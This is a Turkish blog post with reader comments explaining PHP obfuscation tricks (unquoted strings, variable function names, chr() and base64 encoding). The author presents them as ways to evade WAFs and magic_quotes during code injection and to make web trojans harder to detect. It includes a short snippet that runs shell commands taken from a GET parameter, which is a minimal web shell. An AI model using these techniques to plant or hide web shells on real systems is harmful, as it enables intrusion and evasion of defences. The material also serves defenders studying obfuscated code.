Sunday, February 6, 2011

obfuscating php codes

Giriş
Yazının başlığı "obfuscating php codes" olmasına rağmen otomatize bir şekilde bu işlemi yapan bir tool yayınlamayacağım sadece kullanılabilecek yöntemleri tartışmak istedim, aslında kişisel notlarımdan bir yazı oluşturma çabası bu. Biraz obfuscating işleminden bahsedelim. obfuscating işlemi daha doğrusu "obfuscated code" kavramı kodun normal bir insan (çoğu zaman bir makine) tarafından okunmasını güçleştirmek. Burada makineden kastım bir WAF/IPS/IDS/Antivirus vs.. olabilir. Daha fazla merak edenler [1] ve [2] no'lu referanslara göz atabilirler. Peki neden bu tarz bir işleme ihtiyaç duyulur? Benim gibi bir "web hacker"i iseniz karşılaştığınız PHP Code Injection vs.. gibi durumlarda platformun magic_quotes özelliğini aşmak isteyebilirsiniz, ya da WAF'i atlatmak isteyebilirsiniz vb.. birçok neden sayılabilir neden bu işleme ihtiyaç duyduğunuza dair.

PHP Dilinin Sağladıkları
PHP Dili varsayılan olarak birçok güzel özelliği bizlere sunuyor. Örneğin bir değişken tanımlamasını eğer değerinizin tüm karakterleri birer string ise tırnak işareti kullanmadan yapabilirsiniz.

$a = HELLO;
echo $a; // ekrana HELLO yazacaktır..

Fonksiyon çağırımlarında değişkenleri fonksiyon isimleri için kullanabilirsiniz.

$a = system;
$cmd = $_GET[cmd];
$a($cmd);

Bir dizinin elemanına ulaşırkende yine eleman adında özel karakter yoksa tırnak işareti kullanmadan çağırabilirsiniz.

$cmd = $_GET[cmd];

chr() fonksiyonundan yararlanabilirsiniz.

echo chr(72).chr(69).chr(76).chr(76).chr(79); // ekrana HELLO yazacaktır..

base64 encode edilmiş veriler işinizi görebilir.
echo base64_decode("SEVMTE8="); // ekrana HELLO yazacaktır..
echo base64_decode(SEVMTE8); // ekrana yine HELLO yazacaktır fakat = işaretini kaldırmaktan pek emin değilim decodinge bir zararı olur mu olmaz mı anlamında..

Ayrıca whiteline vb.. şeyleride ortadan kaldırarak tespiti zor web trojanları hazırlayabilirsiniz.

Son Sözler
Öğrendiklerimizin tümünü bir arada kullanarak şöyle birşey hazırlayabiliriz. Okunması gayet zor olan bir kod hazırlamaya çalışalım ve bu kod şunu yapsın verilen base64 encoded veriyi decode edip ekrana yazsın.

$a=base;$b=de;$c=chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111);$d=$a.$c.$b;$c=pri;$b=chr(110).chr(116).chr(102);$a=$c.$b;$a($d(SEVMTE8));

Çalıştırırsanız ekrana HELLO yazdığını göreceksiniz.


Referanslar
[1] - http://en.wikipedia.org/wiki/Obfuscation
[2] - http://en.wikipedia.org/wiki/Obfuscated_code

5 comments:

  1. Bilgilendirmeye yönelik güzel bir yazı ve bunu mail listte duyurmamış olmasaydın görmeyecektim :) seni google readere ekliyorum :)

    canberk bu konuda herhalde en büyük silah hayal gücünü kullanarak şaşırtmak , tabi php gibi özellikli bir dilde olacak.

    ReplyDelete
  2. yani yazdiginiz kod karmasik, anlasilmayan ve %100 calisan olmali :) mail listte attikta insanlar tepkisiz insanin yazasi gelmiyor :>

    ReplyDelete
  3. Elinize sağlık güzel bir makale. Ne tür uygulamalarda kullanılabileceği konusunda biraz fikir verebilirseniz sevinirim.

    ReplyDelete
  4. sana son uyari bu adamim kapat bu blogu :D (mkey)

    ReplyDelete
  5. @kamu "Peki neden bu tarz bir işleme ihtiyaç duyulur? Benim gibi bir "web hacker"i iseniz karşılaştığınız PHP Code Injection vs.. gibi durumlarda platformun magic_quotes özelliğini aşmak isteyebilirsiniz, ya da WAF'i atlatmak isteyebilirsiniz vb.. birçok neden sayılabilir neden bu işleme ihtiyaç duyduğunuza dair."

    @Johnny Depp ahaha :D

    ReplyDelete